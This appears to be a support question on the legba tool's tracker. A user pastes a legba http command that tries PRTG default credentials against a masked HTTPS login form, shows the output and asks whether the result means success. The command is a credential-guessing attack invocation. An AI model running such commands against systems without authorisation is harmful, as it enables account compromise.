question https bruteforce

[johnjohnsp1]

Hi,
im trying to brute force the webapplication login form (https) with this command

./legba http
--username prtgadmin
--password prtgadmin
--target https://xx.xx.xx.xx
--http-method POST
--http-success-codes 200
--http-payload 'log={USERNAME}&pwd={PASSWORD}'
legba v0.9.0

[INFO ] target: https://xx.xx.xx.xx
[INFO ] username -> string 'prtgadmin'
[INFO ] password -> string 'prtgadmin'

[INFO ] runtime 1.001873666s

running on macOS apple silicon 15.0.1 sequoia
pretty sure the credentials are working, is that a good result or ?
thanks